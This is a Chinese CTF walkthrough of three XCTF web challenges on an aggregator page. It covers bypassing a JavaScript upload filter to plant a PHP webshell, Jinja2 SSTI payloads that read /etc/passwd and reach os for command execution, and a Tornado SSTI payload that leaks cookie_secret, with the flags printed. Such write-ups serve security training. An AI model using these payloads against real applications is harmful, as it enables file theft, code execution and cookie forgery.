码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 攻防世界WEB高手进阶区upload1,Web_python_template_injection,easytornado


    目录

    upload1

    题目介绍

    解题思路

    访问靶场

    上传文件

    查看源码

    关闭前端

    上传websehll.php

    蚁剑连接

    寻找flag

    找到flag

    Web_python_template_injection

    题目介绍

    解题思路

    访问靶场

    判断是否为模板注入

    查看全局变量

    魔术方法知识点

    利用魔术方法

    找到type file可以进行文件读取

    找到 可以进行命令执行

    读取flag

    找到flag

    easytornado

    题目介绍

    解题思路

    访问靶场

    逐个查看文件

    访问 /fllllllllllllag

    构造payload获取cookie_secret

    获取flag

    找到flag

    upload1

    题目介绍

    解题思路

    访问靶场

    上传文件

    查看源码

    发现用前端javascript来限制上传文件格式

    关闭前端

    下载插件disable javascript,关闭前端

    上传websehll.php

    蚁剑连接

    寻找flag

    在html文件夹下找到flag

    找到flag

    cyberpeace{71b414e237ae390d1d5fa0171dfb0bb6}

    Web_python_template_injection

    题目介绍

    解题思路

    访问靶场

    判断是否为模板注入

    http://111.200.241.244:58188/{{6*6}}

    存在模板注入

    查看全局变量

    http://111.200.241.244:58188/{{config}}http://111.200.241.244:58188/{{config}}http://111.200.241.244:58188/{{config}}

    魔术方法知识点

    __class__  返回类型所属的对象

    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

    __base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

    __init__  类的初始化方法

    __globals__  对包含函数全局变量的字典的引用

    利用魔术方法

    http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()}}http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()}}

    http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()}}

    找到type file可以进行文件读取

    [40]是tupe file类型出现位置(从0开始的位置)

    http://111.200.241.244:58188/{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

    找到 可以进行命令执行

    http://111.200.241.244:58188/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

    读取flag

    找到flag

    ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

    easytornado

    题目介绍

    解题思路

    访问靶场

    逐个查看文件

    发现flag在/fllllllllllllag文件里

    render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

    访问 /fllllllllllllag

    111.200.241.244:62882/file?filename= /fllllllllllllag

    出现页面error

    观察页面后修改msg后面的数值

    此时结合第二个文件中的提示 render,考虑此处存在 Tornado 的服务端模板注入攻击

    发现确实存在 SSTI ,但是部分注入被过滤了

    构造payload获取cookie_secret

    cookie_secret 是存在于 settings 中的,settings 又作为参数传入了 Application 构造函数,因此可以通过 self.application.settings 来获取到 cookie_secret。又因为根据官方文档, RequestHandler.settings 的别名是 self.application.settings,且 handler 指向处理当前这个页面的 RequestHandler 对象,故最终的效果就是可以直接通过 handler.settings 来得到 cookie_secret 的值。

    构造 payload,msg={{handler.settings}} 即可获取到 cookie_secret。

    111.200.241.244:62882/error?msg={{handler.settings}}

    根据第三个文件

    对/fllllllllllllag进行md5加密

    对a4509af8-8497-40e2-9dd7-e0c85c01288d和 3bf9f6cf685a6dd8defadabfb41a03a1(小写)进行加密

    获得88898e58a01102c4a624fbb3934d6881

    获取flag

    我们得到

    filename=fllllllllllllag

    filehash=88898e58a01102c4a624fbb3934d6881

    找到flag

    flag{3f39aea39db345769397ae895edb9c70}

  • 相关阅读:
    MySQL存储引擎详解(一)-InnoDB架构
    什么是探索性测试?探索性测试有哪些方法?
    C++智能指针原理与实现
    【vue3】11.跟着官网学习vue3-生命周期钩子,onErrorCaptured错误捕获钩子的使用
    用户授权,glodalData.userInfo为undefined?
    c语言的基本类型有哪些
    LeetCode 54 螺旋矩阵
    数据可视化图表总结(一)
    机器学习算法一之DBSCAN聚类原理与实现(二维及三维)
    9月15日、9月18日上课内容 Zookeeper集群 + Kafka集群
  • 原文地址:https://blog.csdn.net/lyshark_lyshark/article/details/126799259
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号